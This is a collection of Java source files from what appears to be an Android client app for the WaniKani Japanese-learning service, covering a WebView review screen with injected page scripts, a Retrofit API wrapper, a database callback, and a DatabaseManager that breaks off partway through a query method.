wav);\n\n public void maximize (WebReviewActivity wav)\n {\n /* empty */\n }\n\n public boolean isIconized ()\n {\n return false;\n }\n\n public abstract PrefManager.Keyboard getKeyboard (WebReviewActivity wav);\n\n public boolean isRelevantPage ()\n {\n return true;\n }\n\n public boolean canMute ()\n {\n return false;\n }\n\n public boolean canDoSingle ()\n {\n return false;\n }\n\n public boolean hasEnter (WebReviewActivity wav)\n {\n return false;\n }\n\n public boolean backIsSafe ()\n {\n return false;\n }\n };\n\n private class ReaperTaskListener implements TimerThreadsReaper.ReaperTaskListener {\n\n public void reaped (int count, int total)\n {\n\t\t\t/* Here we could keep some stats. Currently unused */\n }\n }\n\n private class IgnoreButtonListener implements View.OnClickListener {\n\n @Override\n public void onClick (View view)\n {\n ignore ();\n }\n\n }\n\n private class FileDownloader implements DownloadListener, FileDownloadTask.Listener {\n\n FileDownloadTask fdt;\n\n @Override\n public void onDownloadStart (String url, String userAgent, String contentDisposition,\n String mimetype, long contentLength)\n {\n dbar.setVisibility (View.VISIBLE);\n cancel ();\n fdt = new FileDownloadTask (WebReviewActivity.this, downloadPrefix, this);\n fdt.execute (url);\n }\n\n private void cancel ()\n {\n if (fdt != null)\n fdt.cancel ();\n }\n\n @Override\n public void setProgress (int percentage)\n {\n dbar.setProgress (percentage);\n }\n\n @Override\n public void done (File file)\n {\n Intent results;\n\n dbar.setVisibility (View.GONE);\n if (file != null) {\n results = new Intent ();\n results.putExtra (EXTRA_FILENAME, file.getAbsolutePath ());\n setResult (RESULT_OK, results);\n finish ();\n } else\n Toast.makeText (WebReviewActivity.this, getString (R.string.tag_download_failed),\n Toast.LENGTH_LONG).show ();\n }\n }\n\n /** The web view, where the web contents are rendered */\n FocusWebView wv;\n\n /** The view containing a splash screen. Visible when we want to display\n * some message to the user */\n View splashView;\n\n /**\n * The view contaning the ordinary content.\n */\n View contentView;\n\n /** A textview in the splash screen, where we can display some message */\n TextView msgw;\n\n /** The web progress bar */\n ProgressBar bar;\n\n /** The web download progress bar */\n ProgressBar dbar;\n\n /// Selected button color\n int selectedColor;\n\n /// Unselected button color\n int unselectedColor;\n\n /** The local prefix of this class */\n private static final String PREFIX = \"com.wanikani.androidnotifier.WebReviewActivity.\";\n\n /** Open action, invoked to start this action */\n public static final String OPEN_ACTION = PREFIX + \"OPEN\";\n\n /** Download action, invoked to download a file */\n public static final String DOWNLOAD_ACTION = PREFIX + \"DOWNLOAD\";\n\n public static final String EXTRA_DOWNLOAD_PREFIX = PREFIX + \"download_prefix\";\n\n public static final String EXTRA_FILENAME = PREFIX + \"filename\";\n\n /** Flush caches bundle key */\n private static final String KEY_FLUSH_CACHES = PREFIX + \"flushCaches\";\n\n /** Local preferences file. Need it because we access preferences from another file */\n private static final String PREFERENCES_FILE = \"webview.xml\";\n\n /** Javascript to be called each time an HTML page is loaded. It hides or shows the keyboard */\n private static final String JS_INIT_KBD =\n \"var textbox, lessobj, ltextbox, reviews, style;\" +\n \"textbox = document.getElementById (\\\"\" + WKConfig.ANSWER_BOX + \"\\\"); \" +\n \"reviews = document.getElementById (\\\"\" + WKConfig.REVIEWS_DIV + \"\\\");\" +\n \"quiz = document.getElementById (\\\"\" + WKConfig.QUIZ + \"\\\");\" +\n \"quiz_button = document.getElementById (\\\"\" + WKConfig.QUIZ_BUTTON1 + \"\\\");\" +\n \"function reload_quiz_arrow() { quiz_arrow = document.getElementsByClassName (\\\"\" + WKConfig.QUIZ_BUTTON2 + \"\\\")[0]; }; \" +\n\n\n// \"document.onclick = function(e) { \\n\" +\n// \" console.log('clicked: '+e.target.outerHTML);\" +\n// \"};\" +\n\n\n // Section added by @Aralox, to show the 'character' (kanji/radical/vocab under review) with a hyperlink\n // when the item-info panel is open, and to show a non-hyperlinked version when the panel is closed.\n // Events are hooked onto the item info panel button, and the new question event (see getHideLinkCode())\n \"var character_div, character_unlinked, character_linked, item_info_div, item_info_button;\" +\n \"character_div = $('#\"+WKConfig.CHARACTER_DIV +\"');\" +\n \"item_info_div = $('#\" + WKConfig.ITEM_INFO_DIV + \"');\" +\n \"item_info_button = $('#\" + WKConfig.ITEM_INFO_LI + \"');\" +\n\n \"function item_info_listener() {\" +\n \" if (item_info_div.css('display') == 'block' && !item_info_button.hasClass('disabled')) {\" +\n //\" console.log('clicked open item info panel.');\" +\n \" character_unlinked.css('display', 'none');\" +\n \" character_linked.css ('display', 'block');\" +\n \" } else {\" +\n //\" console.log('clicked close item info panel.');\" +\n \" character_unlinked.css('display', 'block');\" +\n \" character_linked.css ('display', 'none');\" +\n \" } \" +\n\n// // Added by @Aralox, use these lines to print the page HTML, for debugging.\n// \" console.log('document (panel): ');\" +\n// \" doclines = $('body').html().split('\\\\n');\" +\n// \" for (var di = 0; di < doclines.length; di++) { console.log(doclines[di]); }; \" +\n// //\" console.log('items actual href: ' + $('#\"+WKConfig.CHARACTER_DIV +\">a').attr(\\\"href\\\"));\" +\n\n \"};\" +\n\n \"if (quiz != null) {\" +\n \" wknKeyboard.showLessonsNew ();\" +\n \" quiz_button.addEventListener(\\\"click\\\", function(){ wknKeyboard.showLessonsNew (); });\" +\n \" var interval = setInterval(function() { reload_quiz_arrow(); if (quiz_arrow != undefined) { quiz_arrow.addEventListener(\\\"click\\\", function() { wknKeyboard.showLessonsNew (); }); clearInterval(interval); } }, 200); \" +\n \"} else if (textbox != null && !textbox.disabled) {\" +\n // Code for reviews (not lessons) happen in here\n \" wknKeyboard.show (); \" +\n\n // Code added for hyperlinking, as mentioned above. @Aralox\n \" item_info_button.on('click', item_info_listener);\" +\n\n \" $('\"+WKConfig.CHARACTER_SPAN_JQ +\"').clone().appendTo(character_div);\" + //\" character_div.append($('\"+WKConfig.CHARACTER_SPAN_JQ +\"').clone());\" +\n \" $('#\"+WKConfig.CHARACTER_DIV +\">span').first().wrap('<a href=\\\"\\\" \" +\n \"style=\\\"text-decoration:none;color:inherit\\\"></a>');\" +\n //\"style=\\\"text-decoration:none;\\\"></a>');\" + // to show blue hyperlinks\n\n \" character_linked = $('#\"+WKConfig.CHARACTER_DIV+\">a>span');\" +\n \" character_unlinked = $('\"+WKConfig.CHARACTER_SPAN_JQ +\"');\" +\n\n // Just some rough working to figure out how to sort out item longpress.\n //\" character_unlinked.attr('id', 'itemlink');\" +\n //\" character_unlinked.on('click', function(){ selectText('itemlink');});\" + // change to longpress event\n //\" character_unlinked.on('click', function(){ wknKeyboard.selectText();});\" +\n\n \"} else {\" +\n \"\twknKeyboard.hide ();\" +\n \"}\" +\n \"if (reviews != null) {\" +\n \" reviews.style.overflow = \\\"visible\\\";\" +\n \"}\" +\n \"window.trueRandom = Math.random;\" +\n \"window.fakeRandom = function() { return 0; };\" + // @Ikalou's fix\n\t\t\t/* This fixes a bug that makes SRS indication slow */\n \"style = document.createElement('style');\" +\n \"style.type = 'text/css';\" +\n \"style.innerHTML = '.animated { -webkit-animation-duration:0s; }';\" +\n \"document.getElementsByTagName('head')[0].appendChild(style);\";\n\n // Added by @Aralox to hook link hiding onto new question event in LocalIMEKeyboard.JS_INIT_TRIGGERS. Done in similar style as WaniKaniImprove.getCode().\n // Note that this event also happens when you tab back into the program e.g. after using your browser.\n public static String getHideLinkCode()\n {\n return LocalIMEKeyboard.ifReviews(\n // Update the hyperlink appropriately.\n \"character_div = $('#\"+WKConfig.CHARACTER_DIV+\"');\" +\n \"character_linked_a = character_div.find('a');\" +\n \"character_linked = character_linked_a.find('span');\" +\n\n \"curItem = $.jStorage.get('currentItem');\" +\n \"console.log('curItem: '+JSON.stringify(curItem));\" +\n\n // Link is obtained similarly to Browser.java\n \"itemLink = ' ';\" + // used in the hyperlink\n \"switch (character_div.attr('class')) {\" +\n \" case 'vocabulary':\" +\n \" itemLink = '/vocabulary/' + encodeURI(character_linked.text());\" +\n \" break;\" +\n \" case 'kanji':\" +\n \" itemLink = '/kanji/' + encodeURI(character_linked.text());\" +\n \" break;\" +\n \" case 'radical':\" +\n \" itemLink = '/radicals/' + String(curItem.en).toLowerCase();\" +\n \" break;\" +\n \"};\" +\n\n \"newHref = itemLink;\" + // 'https://www.wanikani.com' doesnt seem to be necessary\n\n \"console.log('new href: ' + newHref);\" +\n\n \"character_linked_a.attr('href', newHref);\" +\n\n // We need this because the user will often progress to the next question without clicking\n // on the item info panel button to close it, so the button listener which hides the linked element will not be called.\n // Since this event also fires on tab-back-in, we check to see if item-info panel is open before hiding hyperlink.\n \"item_info_div = $('#\" + WKConfig.ITEM_INFO_DIV + \"');\" +\n \"item_info_button = $('#\" + WKConfig.ITEM_INFO_LI + \"');\" +\n // same condition used in item_info_listener() above\n \"if (item_info_div.css('display') == 'block' && !item_info_button.hasClass('disabled')) {\" +\n \" console.log('Tabbed back in (item info panel open). Dont hide hyperlink.');\" +\n \"} else {\" +\n \" character_div.find('span').css('display', 'block');\" + // (character_unlinked)\n \" character_linked.css('display', 'none');\" +\n \"}\"\n\n// // Added by @Aralox, use these lines to print the page HTML, for debugging.\n// +\" console.log('document (next q): ');\" +\n// \" doclines = $('body').html().split('\\\\n');\" +\n// \" for (var di = 0; di < doclines.length; di++) { console.log(doclines[di]); }; \"\n );\n }\n\n // @Aralox added lines to help with debugging issue #27. Solution is in LocalIMEKeyboard.replace().\n // Run this through an unminifier to understand it better. Based on @jneapan's code\n //\"var note_meaning_textarea;\" +\n //\"function reload_note_elements() { note_meaning = document.getElementsByClassName (\\\"note-meaning\\\")[0]; }; \" +\n //\"function note_meaning_listener() { console.log('note meaning div listener'); setTimeout(function(){note_meaning_textarea = $('div.note-meaning>form>fieldset>textarea')[0]; console.log('textarea: '+note_meaning_textarea); \"+\n //\"note_meaning_textarea.addEventListener('click', note_meaning_textarea_listener); }, 1000); };\" +\n //\"function note_meaning_textarea_listener() {console.log('clicked textarea'); setTimeout(function(){console.log('refocusing on textarea: ' + note_meaning_textarea); \"+\n //\"wknKeyboard.show(); note_meaning_textarea.focus(); }, 1000);};\" +\n\n private static final String\n JS_BULK_MODE = \"if (window.trueRandom) Math.random=window.trueRandom;\";\n private static final String\n JS_SINGLE_MODE = \"if (window.fakeRandom) Math.random=window.fakeRandom;\";\n\n /** The threads reaper */\n TimerThreadsReaper reaper;\n\n /** Thread reaper task */\n TimerThreadsReaper.ReaperTask rtask;\n\n /** The current keyboard status */\n protected KeyboardStatus kbstatus;\n\n /** The mute drawable */\n private Drawable muteDrawable;\n\n /** The sound drawable */\n private Drawable notMutedDrawable;\n\n /** The ignore button */\n private Button ignbtn;\n\n /** Set if visible */\n public boolean visible;\n\n /** Is mute enabled */\n private boolean isMuted;\n\n /** The current keyboard */\n private Keyboard keyboard;\n\n /** The native keyboard */\n private Keyboard nativeKeyboard;\n\n /** The local IME keyboard */\n private Keyboard localIMEKeyboard;\n\n private CardView muteHolder;\n private CardView singleHolder;\n\n /** The mute button */\n private ImageButton muteH;\n\n /** The single button */\n private Button singleb;\n\n /** Single mode is on? */\n private boolean single = false;\n\n /** Shall we download a file? */\n private boolean download;\n\n /** Download prefix */\n private String downloadPrefix;\n\n /** The file downloader, if any */\n private FileDownloader fda;\n\n ActionBar mActionBar;\n\n /**\n * Called when the action is initially displayed. It initializes the objects\n * and starts loading the review page.\n * \t@param bundle the saved bundle\n */\n @Override\n public void onCreate (Bundle bundle)\n {\n super.onCreate (bundle);\n\n Resources res;\n\n CookieSyncManager.createInstance (this);\n setVolumeControlStream (AudioManager.STREAM_MUSIC);\n\n setContentView (R.layout.activity_web_view);\n\n Toolbar mToolbar = (Toolbar) findViewById(R.id.toolbar);\n setSupportActionBar(mToolbar);\n\n mActionBar = getSupportActionBar();\n mActionBar.setDisplayHomeAsUpEnabled(true);\n\n if (PrefManager.getReviewsLessonsFullscreen()) {\n mActionBar.hide();\n }\n\n String intentData = getIntent().getData().toString();\n if (intentData.contains(\"review\"))\n mActionBar.setTitle(getString(R.string.ab_title_reviews));\n else if (intentData.contains(\"lesson\"))\n mActionBar.setTitle(getString(R.string.ab_title_lessons));\n\n res = getResources ();\n\n selectedColor = res.getColor (R.color.apptheme_main);\n unselectedColor = res.getColor (R.color.text_gray_light);\n\n muteDrawable = res.getDrawable(R.drawable.ic_volume_off_black_24dp);\n notMutedDrawable = res.getDrawable(R.drawable.ic_volume_up_black_24dp);\n\n kbstatus = KeyboardStatus.INVISIBLE;\n\n bar = (ProgressBar) findViewById (R.id.pb_reviews);\n dbar = (ProgressBar) findViewById (R.id.pb_download);\n\n ignbtn = (Button) findViewById (R.id.btn_ignore);\n ignbtn.setOnClickListener (new IgnoreButtonListener ());\n\n\t\t/* First of all get references to views we'll need in the near future */\n splashView = findViewById (R.id.wv_splash);\n contentView = findViewById (R.id.wv_content);\n msgw = (TextView) findViewById (R.id.tv_message);\n wv = (FocusWebView) findViewById (R.id.wv_reviews);\n\n wv.getSettings ().setJavaScriptEnabled (true);\n wv.getSettings().setJavaScriptCanOpenWindowsAutomatically (true);\n wv.getSettings ().setSupportMultipleWindows (false);\n wv.getSettings ().setUseWideViewPort (false);\n wv.getSettings ().setDatabaseEnabled (true);\n wv.getSettings ().setDomStorageEnabled (true);\n wv.getSettings ().setDatabasePath (getFilesDir ().getPath () + \"/wv\");\n if (Build.VERSION.SDK_INT >= 17) {\n wv.getSettings().setMediaPlaybackRequiresUserGesture(false);\n }\n\n wv.addJavascriptInterface (new WKNKeyboard (), \"wknKeyboard\");\n wv.setScrollBarStyle (ScrollView.SCROLLBARS_OUTSIDE_OVERLAY);\n wv.setWebViewClient (new WebViewClientImpl ());\n wv.setWebChromeClient (new WebChromeClientImpl ());\n\n download = getIntent ().getAction ().equals (DOWNLOAD_ACTION);\n if (download) {\n downloadPrefix = getIntent ().getStringExtra (EXTRA_DOWNLOAD_PREFIX);\n wv.setDownloadListener (fda = new FileDownloader ());\n }\n\n wv.loadUrl (getIntent ().getData ().toString ());\n\n nativeKeyboard = new NativeKeyboard(this, wv);\n localIMEKeyboard = new LocalIMEKeyboard(this, wv);\n\n muteHolder = (CardView) findViewById(R.id.kb_mute_holder);\n singleHolder = (CardView) findViewById(R.id.kb_single_holder);\n\n muteH = (ImageButton) findViewById (R.id.kb_mute_h);\n muteH.setOnClickListener (new MuteListener ());\n\n singleb = (Button) findViewById (R.id.kb_single);\n singleb.setOnClickListener (new SingleListener ());\n\n reaper = new TimerThreadsReaper ();\n rtask = reaper.createTask (new Handler (), 2, 7000);\n rtask.setListener (new ReaperTaskListener ());\n\n // Added by @Aralox to keep the screen awake during reviews. Technique from http://stackoverflow.com/questions/8442079/keep-the-screen-awake-throughout-my-activity\n // TODO: Make this an option in the app's settings.\n getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);\n }\n\n @Override\n public void onNewIntent (Intent intent)\n {\n String curl, nurl;\n\n super.onNewIntent (intent);\n curl = wv.getOriginalUrl ();\n nurl = intent.getData ().toString ();\n if (curl == null || !curl.equals (nurl))\n wv.loadUrl (nurl);\n }\n\n @Override\n protected void onResume ()\n {\n// Window window;\n super.onResume ();\n/*\n These features won't be implemented as of now\n\n window = getWindow ();\n if (SettingsActivity.getLockScreen (this))\n window.addFlags (WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);\n else\n window.clearFlags (WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);\n\n if (SettingsActivity.getResizeWebview (this))\n window.setSoftInputMode (WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE);\n else\n window.setSoftInputMode (WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN);\n*/\n\n visible = true;\n\n selectKeyboard ();\n\n applyMuteSettings ();\n applySingleSettings ();\n\n if (PrefManager.getHWAccel())\n showHWAccelMessage();\n\n wv.acquire ();\n\n kbstatus.apply (this);\n\n if (rtask != null)\n rtask.resume ();\n }\n\n @Override\n public void onDestroy ()\n {\n super.onDestroy ();\n\n if (reaper != null)\n reaper.stopAll ();\n\n if (fda != null)\n fda.cancel ();\n\n System.exit (0);\n }\n\n @Override\n protected void onSaveInstanceState (Bundle bundle)\n {\n /* empty */\n }\n\n @Override\n protected void onRestoreInstanceState (Bundle bundle)\n {\n /* empty */\n }\n\n @Override\n protected void onPause ()\n {\n visible = false;\n\n super.onPause();\n\n setMute (false);\n\n wv.release ();\n\n if (rtask != null)\n rtask.pause ();\n\n keyboard.hide ();\n }\n\n /**\n * Tells if calling {@link WebView#goBack()} is safe. On some WK pages we should not use it.\n * @return <tt>true</tt> if it is safe.\n */\n protected boolean backIsSafe ()\n {\n String lpage, rpage, url;\n\n url = wv.getUrl ();\n lpage = \"www.wanikani.com/lesson\";\n rpage = \"www.wanikani.com/review\";\n\n return kbstatus.backIsSafe () &&\n\t\t\t\t/* Need this because the reviews summary page is dangerous */\n !(url.contains (rpage) || rpage.contains (url)) &&\n !(url.contains (lpage) || lpage.contains (url));\n }\n\n @Override\n public boolean onSupportNavigateUp() {\n super.onBackPressed();\n return true;\n }\n\n @Override\n public void onBackPressed ()\n {\n String url;\n\n url = wv.getUrl ();\n\n if (url == null)\n super.onBackPressed ();\n else if (url.contains (\"http://www.wanikani.com/quickview\"))\n wv.loadUrl (Browser.LESSON_URL);\n else if (wv.canGoBack () && backIsSafe ())\n wv.goBack ();\n else {\n // Dialog box added by Aralox, based on http://stackoverflow.com/a/9901871/1072869\n AlertDialog.Builder builder = new AlertDialog.Builder(this);\n builder.setMessage(\"Are you sure you want to exit?\")\n .setCancelable(false)\n .setPositiveButton(\"Yes\", new DialogInterface.OnClickListener() {\n public void onClick(DialogInterface dialog, int id) {\n WebReviewActivity.super.onBackPressed();\n }\n })\n .setNegativeButton(\"No\", new DialogInterface.OnClickListener() {\n public void onClick(DialogInterface dialog, int id) {\n dialog.cancel();\n }\n });\n AlertDialog alert = builder.create();\n alert.show();\n }\n }\n\n protected void selectKeyboard ()\n {\n Keyboard oldk;\n\n oldk = keyboard;\n\n switch (kbstatus.getKeyboard (this)) {\n case LOCAL_IME:\n keyboard = localIMEKeyboard;\n break;\n\n case NATIVE:\n keyboard = nativeKeyboard;\n break;\n }\n\n if (keyboard != oldk && oldk != null)\n oldk.hide ();\n\n updateCanIgnore ();\n }\n\n private void applyMuteSettings ()\n {\n boolean show;\n\n show = kbstatus.canMute () && PrefManager.getMuteButton();\n muteH.setVisibility (show ? View.VISIBLE : View.GONE);\n muteHolder.setVisibility(show ? View.VISIBLE : View.GONE);\n\n setMute (show && PrefManager.getMute());\n }\n\n private void applySingleSettings ()\n {\n boolean show;\n\n show = kbstatus.canDoSingle () && PrefManager.getSingleButton();\n singleb.setVisibility (show ? View.VISIBLE : View.GONE);\n singleHolder.setVisibility(show ? View.VISIBLE : View.GONE);\n if (single) {\n singleb.setTextColor (selectedColor);\n singleb.setTypeface (null, Typeface.BOLD);\n wv.js (JS_SINGLE_MODE);\n } else {\n singleb.setTextColor (unselectedColor);\n singleb.setTypeface (null, Typeface.NORMAL);\n wv.js (JS_BULK_MODE);\n }\n }\n\n private void setMute (boolean m)\n {\n Drawable d;\n\n d = m ? muteDrawable : notMutedDrawable;\n muteH.setImageDrawable (d);\n\n if (isMuted != m && keyboard != null) {\n keyboard.setMute (m);\n isMuted = m;\n }\n }\n\n /**\n * Displays the splash screen, also providing a text message\n * @param msg the text message to display\n */\n protected void splashScreen (String msg)\n {\n msgw.setText (msg);\n contentView.setVisibility (View.GONE);\n splashView.setVisibility (View.VISIBLE);\n }\n\n /**\n * Hides the keyboard\n * @param kbstatus the new keyboard status\n */\n protected void hide (KeyboardStatus kbstatus)\n {\n this.kbstatus = kbstatus;\n\n applyMuteSettings ();\n applySingleSettings ();\n\n keyboard.hide ();\n }\n\n protected void show (KeyboardStatus kbstatus)\n {\n this.kbstatus = kbstatus;\n\n selectKeyboard ();\n\n applyMuteSettings ();\n applySingleSettings ();\n\n keyboard.show (kbstatus.hasEnter (this));\n }\n\n protected void iconize (KeyboardStatus kbs)\n {\n kbstatus = kbs;\n\n selectKeyboard ();\n\n applyMuteSettings ();\n applySingleSettings ();\n\n keyboard.iconize (kbstatus.hasEnter (this));\n }\n\n public void updateCanIgnore ()\n {\n ignbtn.setVisibility (keyboard.canIgnore () ? View.VISIBLE : View.GONE);\n }\n\n /**\n * Ignore button\n */\n public void ignore ()\n {\n showIgnoreButtonMessage ();\n keyboard.ignore ();\n }\n\n protected void showIgnoreButtonMessage ()\n {\n AlertDialog.Builder builder;\n Dialog dialog;\n\n if (visible && PrefManager.getIgnoreButtonMessage()) {\n builder = new AlertDialog.Builder(this);\n builder.setTitle(R.string.ignore_button_message_title);\n builder.setMessage(R.string.ignore_button_message_text);\n builder.setPositiveButton(R.string.ignore_button_message_ok, new OkListener());\n\n dialog = builder.create();\n PrefManager.setIgnoreButtonMessage(false);\n\n dialog.show();\n }\n }\n\n protected void showHWAccelMessage ()\n {\n AlertDialog.Builder builder;\n Dialog dialog;\n\n if (PrefManager.getHWAccelMessage()) {\n builder = new AlertDialog.Builder(this);\n builder.setTitle(R.string.hw_accel_message_title);\n builder.setMessage(R.string.hw_accel_message_text);\n builder.setPositiveButton(R.string.ok, new AccelOkListener());\n\n dialog = builder.create();\n PrefManager.setHWAccelMessage(false);\n\n dialog.show();\n }\n }\n}", "public abstract class WaniKaniApi {\n private static final String API_HOST = \"https://www.wanikani.com/api/user/\";\n\n private static WaniKaniService service;\n private static String API_KEY;\n\n static {\n init();\n }\n\n public static void init() {\n API_KEY = PrefManager.getApiKey();\n setupService();\n }\n\n private static void setupService() {\n OkHttpClient.Builder clientBuilder = new OkHttpClient.Builder();\n if (BuildConfig.DEBUG) {\n HttpLoggingInterceptor httpLoggingInterceptor = new HttpLoggingInterceptor();\n httpLoggingInterceptor.setLevel(HttpLoggingInterceptor.Level.BODY);\n clientBuilder.addInterceptor(httpLoggingInterceptor);\n }\n\n Retrofit retrofit = new Retrofit.Builder()\n .client(clientBuilder.build())\n .addConverterFactory(GsonConverterFactory.create())\n .baseUrl(API_HOST)\n .build();\n\n service = retrofit.create(WaniKaniService.class);\n }\n\n public static Call<Request<User>> getUser() {\n return service.getUser(API_KEY);\n }\n\n public static Call<Request<User>> getUser(String apiKey) {\n return service.getUser(apiKey);\n }\n\n public static Call<Request<StudyQueue>> getStudyQueue() {\n return service.getStudyQueue(API_KEY);\n }\n\n public static Call<Request<LevelProgression>> getLevelProgression() {\n return service.getLevelProgression(API_KEY);\n }\n\n public static Call<Request<SRSDistribution>> getSRSDistribution() {\n return service.getSRSDistribution(API_KEY);\n }\n\n public static Call<Request<RecentUnlocksList>> getRecentUnlocksList(int limit) {\n return service.getRecentUnlocksList(API_KEY, limit);\n }\n\n public static Call<Request<CriticalItemsList>> getCriticalItemsList(int percentage) {\n return service.getCriticalItemsList(API_KEY, percentage);\n }\n\n public static Call<Request<RadicalsList>> getRadicalsList(String level) {\n return service.getRadicalsList(API_KEY, level);\n }\n\n public static Call<Request<KanjiList>> getKanjiList(String level) {\n return service.getKanjiList(API_KEY, level);\n }\n\n public static Call<Request<VocabularyList>> getVocabularyList(String level) {\n return service.getVocabularyList(API_KEY, level);\n }\n}", "public abstract class ThroughDbCallback<T extends Request<B>, B extends Storable> implements Callback<T> {\n @Override\n public void onResponse(Call<T> call, Response<T> response) {\n T result = response.body();\n if (result == null) return;\n\n final User userInfo = result.user_information;\n final B requestedInfo = result.requested_information;\n\n if (result.error == null && (userInfo != null || requestedInfo != null)) {\n new Thread(new Runnable() {\n @Override\n public void run() {\n if (userInfo != null) {\n userInfo.save();\n }\n if (requestedInfo != null) {\n requestedInfo.save();\n }\n }\n }).start();\n }\n }\n\n @Override\n public void onFailure(Call<T> call, Throwable t) {\n RetrofitErrorHandler.handleError(t);\n }\n}", "public class DatabaseManager {\n private static final String TAG = \"Database Manager\";\n\n private static SQLiteDatabase db;\n\n public static void init(Context context) {\n if (db == null) {\n db = DatabaseHelper.getInstance(context).getWritableDatabase();\n }\n }\n\n private static void addItem(BaseItem item) {\n ContentValues values = new ContentValues();\n values.put(ItemsTable.COLUMN_NAME_CHARACTER, item.getCharacter());\n values.put(ItemsTable.COLUMN_NAME_KANA, item.getKana());\n values.put(ItemsTable.COLUMN_NAME_MEANING, item.getMeaning());\n values.put(ItemsTable.COLUMN_NAME_IMAGE, item.getImage());\n values.put(ItemsTable.COLUMN_NAME_ONYOMI, item.getOnyomi());\n values.put(ItemsTable.COLUMN_NAME_KUNYOMI, item.getKunyomi());\n values.put(ItemsTable.COLUMN_NAME_IMPORTANT_READING, item.getImportantReading());\n values.put(ItemsTable.COLUMN_NAME_LEVEL, item.getLevel());\n values.put(ItemsTable.COLUMN_NAME_ITEM_TYPE, item.getType().toString());\n values.put(ItemsTable.COLUMN_NAME_SRS, item.getSrsLevel());\n values.put(ItemsTable.COLUMN_NAME_UNLOCKED_DATE, item.getUnlockDateInSeconds());\n values.put(ItemsTable.COLUMN_NAME_AVAILABLE_DATE, item.getAvailableDateInSeconds());\n values.put(ItemsTable.COLUMN_NAME_BURNED, item.isBurned() ? 1 : 0);\n values.put(ItemsTable.COLUMN_NAME_BURNED_DATE, item.getBurnedDateInSeconds());\n values.put(ItemsTable.COLUMN_NAME_MEANING_CORRECT, item.getMeaningCorrect());\n values.put(ItemsTable.COLUMN_NAME_MEANING_INCORRECT, item.getMeaningIncorrect());\n values.put(ItemsTable.COLUMN_NAME_MEANING_MAX_STREAK, item.getMeaningMaxStreak());\n values.put(ItemsTable.COLUMN_NAME_MEANING_CURRENT_STREAK, item.getMeaningCurrentStreak());\n values.put(ItemsTable.COLUMN_NAME_READING_CORRECT, item.getReadingCorrect());\n values.put(ItemsTable.COLUMN_NAME_READING_INCORRECT, item.getReadingIncorrect());\n values.put(ItemsTable.COLUMN_NAME_READING_MAX_STREAK, item.getReadingMaxStreak());\n values.put(ItemsTable.COLUMN_NAME_READING_CURRENT_STREAK, item.getReadingCurrentStreak());\n values.put(ItemsTable.COLUMN_NAME_MEANING_NOTE, item.getMeaningNote());\n values.put(ItemsTable.COLUMN_NAME_USER_SYNONYMS, item.getUserSynonymsAsString());\n values.put(ItemsTable.COLUMN_NAME_READING_NOTE, item.getReadingNote());\n\n db.insert(ItemsTable.TABLE_NAME, ItemsTable.COLUMN_NAME_NULLABLE, values);\n }\n\n public static void saveItems(List<BaseItem> list, BaseItem.ItemType type) {\n deleteAllItemsFromSameLevelAndType(list, type);\n\n for (BaseItem item : list)\n addItem(item);\n }\n\n public static ItemsList getItems(BaseItem.ItemType itemType, int[] levels) {\n ItemsList list = new ItemsList();\n\n for (int level : levels) {\n String whereClause = ItemsTable.COLUMN_NAME_ITEM_TYPE + \" = ?\" + \" AND \"\n + ItemsTable.COLUMN_NAME_LEVEL + \" = ?\";\n String[] whereArgs = {\n itemType.toString(),\n String.valueOf(level)\n };\n\n Cursor c = null;\n\n try {\n c = db.query(\n ItemsTable.TABLE_NAME,\n ItemsTable.COLUMNS,\n whereClause,\n whereArgs,\n null,\n null,\n null\n );\n\n if (c != null && c.moveToFirst()) {\n do {\n BaseItem item = new BaseItem(\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_ID)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_CHARACTER)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_KANA)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_MEANING)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_IMAGE)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_ONYOMI)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_KUNYOMI)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_IMPORTANT_READING)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_LEVEL)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_ITEM_TYPE)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_SRS)),\n c.getLong(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_UNLOCKED_DATE)),\n c.getLong(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_AVAILABLE_DATE)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_BURNED)) == 1,\n c.getLong(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_BURNED_DATE)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_MEANING_CORRECT)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_MEANING_INCORRECT)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_MEANING_MAX_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_MEANING_CURRENT_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_READING_CORRECT)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_READING_INCORRECT)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_READING_MAX_STREAK)),\n c.getInt(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_READING_CURRENT_STREAK)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_MEANING_NOTE)),\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_USER_SYNONYMS)) != null\n ? c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_USER_SYNONYMS)).split(\",\")\n : null,\n c.getString(c.getColumnIndexOrThrow(ItemsTable.COLUMN_NAME_READING_NOTE))\n );\n list.add(item);\n } while (c.moveToNext());\n }\n } finally {\n if 